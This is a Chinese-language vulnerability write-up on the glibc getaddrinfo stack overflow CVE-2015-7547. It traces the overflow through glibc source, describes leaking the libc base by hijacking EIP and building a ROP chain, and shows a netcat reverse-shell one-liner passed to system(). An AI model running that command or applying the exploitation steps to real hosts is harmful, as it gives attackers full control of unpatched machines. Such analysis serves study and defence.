前一阵glibc出现了一个栈溢出的漏洞,经研究发现,所有Debian、Red Hat以及更多其它Linux发行版,只要glibc版本大于2.9就会受到该溢出漏洞影响。攻击者可以通过该漏洞直接批量获取大量主机权限。本文对CVE-2015-7547漏洞做了细致的分析,供大家学习交流。
在分析之前,先了解一下glibc是什么?
glibc是GNU发布的libc库,即c运行库。
glibc是linux系统中最底层的api,几乎其它任何运行库都会依赖于glibc。glibc除了封装linux操作系统所提供的系统服务外,它本身也提供了许多其它一些必要功能服务的实现。
测试环境 Ubuntu Kylin 15.04 + glibc 2.21
1、漏洞分析
1.1 涉及的库函数
Getaddrinfo函数解析URL时,库函数调用过程如下图所示:
从上图可以看出,在_nss_dns_gethostbyname4_r函数中,使用alloca函数在栈上申请了2048字节的空间,在send_dg函数中,使用recvfrom函数接收DNS服务器的的响应包,并将该数据放在*thisansp指向的空间内。*thisansp刚开始指向上述的2048栈空间。
1.2 执行过程解析
下图是根据glibc分析得到的造成栈溢出的原因。
Step1
执行路径:① ② ⑥ ⑧ ;
输入:服务器发送2048字节的响应包; ansp = stackbuffer; anssizp = 2048
影响变量:thisanssizp = 2048; thisansp = ansp = stackbuffer; thisresplenp = 2048;
结果:thisresplenp = recvfrom(thisansp, *thisanssizp) ; // recvfrom(stackbuffer, 2048);
Step2
执行路径:① ③ ④ ⑥ ⑦ ⑧;
输入:服务器发送10000字节的数据,ansp = stackbuffer; anssizp = 2048;
影响变量:thisanssizp = 0; *thisansp = stackbuffer; *thisresplenp = 10000
结果: heapbuffer = malloc(MAXPACKET); *anssizp = MAXPACKET; *thisansp = heapbuffer;
*thisresplenp = recvfrom(thisansp, *thisanssizp) ; // recvfrom(heapbuffer, MAXPACKET);
Step3
执行路径:① ② ⑥ ⑧ ;
输入:服务器发送>2048字节数据,ansp = stackbuffer, anssizp = MAXPACKET;
影响变量:thisanssizp = MAXPACKET, *thisansp = ansp = stackuffer;
结果: *thisresplenp = recvfrom(thisansp, *thisanssizp) ; // recvfrom(stackbuffer, MAXPACKET);
MAXPACKET = 65535 >2048 造成栈溢出。
1.3 源码解析
在_nss_dns_gethostbyname4_r函数中: 申请2048字节栈空间,用于存放DNS响应包。 host_buffer.buf = orig_host_buffer = (querfbuf *)alloca(2048); 在send_dg()函数中: [1] 当条件是POLLIN时 thisanssizp = 2048, thisansp = stackbuffer, recvresp1 = 0, recvresp2 = 0, buf2 = 0 1224 } else if (pfd[0].revents & POLLIN) { 1225 int *thisanssizp; 1226 u_char **thisansp; 1227 int *thisresplenp; 1228 1229 if ((recvresp1 | recvresp2) == 0 || buf2 == NULL) { 1230 thisanssizp = anssizp; /*thisanssizp = 2048*/ 1231 thisansp = anscp ?: ansp; /*thisansp = stackbuffer*/ 1232 assert (anscp != NULL || ansp2 == NULL); 1233 thisresplenp = &resplen; [2] 比较thisanssizp与MAXPACKET thisanssizp = 2048, MAXPACKET = 65535, thisresplenp = 2048 1262 if (*thisanssizp < MAXPACKET 1263 /* Yes, we test ANSCP here. If we have two buffers 1264 both will be allocatable. */ 1265 && anscp 1266 && (ioctl (pfd[0].fd, FIONREAD, thisresplenp) < 0 1267 || *thisanssizp < *thisresplenp)) { /*条件不满足,所以不会执行malloc*/ 1268 u_char *newp = malloc (MAXPACKET); 1269 if (newp != NULL) { 1270 *anssizp = MAXPACKET; 1271 *thisansp = ans = newp; 1272 } 1273 } [3] recvfrom接收第一次的数据 1282 *thisresplenp = recvfrom(pfd[0].fd, (char*)*thisansp, 1283 *thisanssizp, 0, 1284 (struct sockaddr *)&from, &fromlen); [4] 将第一次响应设置为1(成功),然后继续等待 1430 /* Mark which reply we received. */ 1431 if (recvresp1 == 0 && hp->id == anhp->id) 1432 recvresp1 = 1; 1436 if ((recvresp1 & recvresp2) == 0) { 1437 if (single_request) { 1438 pfd[0].events = POLLOUT; 1439 if (single_request_reopen) { 1440 __res_iclose (statp, false); 1441 retval = reopen (statp, terrno, ns); 1442 if (retval <= 0) 1443 return retval; 1444 pfd[0].fd = EXT(statp).nssocks[ns]; 1445 } 1446 } 1447 goto wait; 1448 } [5] 第二次接收 接收了一次响应包之后,buf2不为空。 1229 if ((recvresp1 | recvresp2) == 0 || buf2 == NULL) { /*条件不成立*/ 1230 thisanssizp = anssizp; /*thisanssizp = 2048*/ 1231 thisansp = anscp ?: ansp; 1232 assert (anscp != NULL || ansp2 == NULL); 1233 thisresplenp = &resplen; 1234 } else { 1235 if (*anssizp != MAXPACKET) { 1236 /* No buffer allocated for the first 1237 reply. We can try to use the rest 1238 of the user-provided buffer. */ 1239 #ifdef _STRING_ARCH_unaligned 1240 *anssizp2 = orig_anssizp - resplen; 1241 *ansp2 = *ansp + resplen; 上述代码并没有申请新的空间,而是试图使用剩余的栈空间来存储第二次响应的数据包。 我们第一次已经使用2048字节的数据将栈空间占满了。 所以*anssizp2 = orig_anssizp - resplen = 0; *ansp2 = *ansp + 0; [6] 然后使用buffer的计算结果对一些变量进行赋值。 1249 } else { 1250 /* The first reply did not fit into the 1251 user-provided buffer. Maybe the second 1252 answer will. */ 1253 *anssizp2 = orig_anssizp; 1254 *ansp2 = *ansp; 1255 } 1256 1257 thisanssizp = anssizp2; 1258 thisansp = ansp2; 1259 thisresplenp = resplen2; thisanssizp = anssizp2 = 0; thisansp = ansp2 = ansp; thisansp仍然指向2048栈空间的起始位置,但是thisanssizp = 0; [7] malloc申请堆空间,大小为65535 1262 if (*thisanssizp < MAXPACKET 1263 /* Yes, we test ANSCP here. If we have two buffers 1264 both will be allocatable. */ 1265 && anscp 1266 && (ioctl (pfd[0].fd, FIONREAD, thisresplenp) < 0 1267 || *thisanssizp < *thisresplenp)) { 1268 u_char *newp = malloc (MAXPACKET); 1269 if (newp != NULL) { 1270 *anssizp = MAXPACKET; 1271 *thisansp = ans = newp; 1272 } 1273 } 新的响应包是10000字节; thisansp指向新申请的堆空间;*anssizp = 65535; 在这里没有更改thisanssizp的值,这个值仍然是0; 没有更改ansp的值。 [8] 使用recvfrom接收新的数据包 1282 *thisresplenp = recvfrom(pfd[0].fd, (char*)*thisansp, 1283 *thisanssizp, 0, 1284 (struct sockaddr *)&from, &fromlen); thisanssizp = 0;接收0个字节。 [9]发生错误,退出send_dg()函数 __libc_res_nsend()会多次调用send_dg(),所以,再接收的数据包会继续第一次的路径。 Malloc申请空间的时候,只修改了anssizp的大小,并没有将*ansp修改为malloc的heapbuffer 所以,再接收的数据包就会发生栈溢出。
2、调试过程
在google给出的poc(该poc只能造成溢出,并不能利用)的基础上进行调试。
Google 的POC文件包括两部分:
[1] .c文件; 主要功能是使用getaddrinfo解析“foo.bar.google.com”。
[2] py文件; 主要功能是绑定53端口,模拟DNS服务器对getaddrinfo的请求进行响应。
将本机的DNS服务器设置为127.0.0.1,执行py文件,调试c文件。
2.1 栈空间布局图
该漏洞是在_nss_dns_gethostbyname4_r函数中使用alloca函数申请了2048字节的栈空间。所以,我们需要关注_nss_dns_gethostbyname4_r函数调用之初与调用过程中的栈空间变化,了解栈空间的内容以及可劫持的EIP。
从上面几个过程截图,可以大致画出_nss_dns_gethostbyname4_r函数的栈结构图
2.2 free指针处理
了解了_nss_dns_gethostbyname4_r的栈结构之后,首先对其进行溢出测试。
修改py文件中TCP发送的data2的数据长度。将数据长度设置为0x800 + 0x6C = 0x86C,将发送的数据修改为0
根据执行结果可知,在__libc_res_nquery的262行,对hp和hp2进行非零校验。并且可以知道hp或者hp2位于inner variables区域。通过对代码的跟踪与测试,确定了hp 和hp2分别位于0xBFFFE95C和0xBFFFE96C处。
所以,hp和hp2分别指向申请的栈空间和堆空间。
在_nss_dns_gethostbyname4_r中会检测是否在解析的过程中申请了新的堆空间,如果申请了,则会对该空间进行free。
这两处代码带来的问题是:
[1] 如果将hp和hp2设置为0, 则在__libc_res_nquery中会异常退出;
[2] hp和hp2的值是随机的,所以不能取调试过程的数据直接覆盖;
这里使用的方法是:
.c文件并没有开启PIE保护机制,即.c文件每次执行的基址是固定的。所以,取.c文件中的一个有效地址(0x080482ec)来替换hp和hp2的值,来跳过free的限制。
测试的结果是:
这一步我们并没有覆盖ph和ph2后面的内容,所以从该指针到返回地址(0xBFFFE9AC)中间的数据是否可以直接覆盖并不知道。在后面的EIP劫持和内存泄露部分将验证这些数据。
2.3 EIP劫持与内存泄露
由于ASLR的存在,要构造ROP链,需要首先获取一些可用的模块基址。
这里首先使用内存泄露的方法。
Getaddrinfo函数的第一个参数是一个指针,getaddrinfo函数在执行的时候,会将该指针指向的内容的字符串发送给服务器,请求服务器进行解析。所以,可以通过劫持EIP,将EIP指向.c文件中的call getaddrinfo指令,将got表中用于存放getaddrinfo地址的数据项作为参数。这样,在服务端发起getaddrinfo的时候,会将getaddrinfo函数的内存地址发送过来。
执行流程如下:
在客户端执行第二次getaddrinfo的时候,参数是got表中getaddrinfo函数地址存放的位置,这样就导致客户端将getaddrinfo函数地址发送到DNS Server端。
Getaddrinfo函数是libc.so.6库中的函数,然后减去偏移便可得到Client端libc.so.6的基址。之后就可以根据这个基址构造ROP链,也可以调用libc.so.6中的其他函数。
3. 漏洞利用
拿到基址之后,便可以根据基址构造ROP链,执行不同的功能。
这里实现了调用system函数,利用nc开一个后门,达到对目标主机完全控制的功能。
执行的具体代码:
System(“rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 1234 >/tmp/f”);
Exit(1);
这里使用的是nc作为例子,也可以使用其他的shell工具。
执行的效果:
上述实现了对该漏洞的完整利用过程。
最后的话
小编建议广大用户尽快给操作系统打补丁,并且提醒管理员在修补漏洞的同时,千万不要忘记查看服务器或网站是否已经被入侵,是否存在后门文件等,尽量将损失和风险控制在可控范围内。
如果您需要了解更多内容,可以
加入QQ群:486207500
直接询问:010-68438880-8669